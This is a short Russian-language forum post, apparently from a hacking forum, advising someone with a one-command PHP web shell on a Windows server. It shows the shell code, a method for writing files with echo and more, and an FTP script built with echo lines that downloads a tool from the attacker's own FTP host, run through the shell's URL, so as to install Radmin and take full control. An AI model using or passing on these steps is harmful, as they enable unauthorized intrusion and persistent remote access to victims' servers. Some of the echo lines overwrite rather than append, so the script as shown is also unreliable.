попробуй так еще:
эхом создаешь файл с кавычками, через more - попробуй их убрать потом.
ну а если сделаешь вместо кавычек табуляцию, то потом:
more /T1 file.php
У меня была подобная ситуация. У меня был шел вида <?php system(cmd) ?>. Вся проблема состоит в том, что тебе дает выполнять только одну команду. И команда edit ничего не даст. Решение было такое - так как "сервак" виндовый - можно залить Radmin и уже спомощью него можно делать что угодно.
Залить лучше всего через ФТП. команды такие
Код:
echo open ТВОЙ_FTP>go
echo binary >>go
echo get файл>go
....
echo bye>go
Запускать потом (ftp анонимный)
site.com/shell.php?cmd=ftp -A -s:go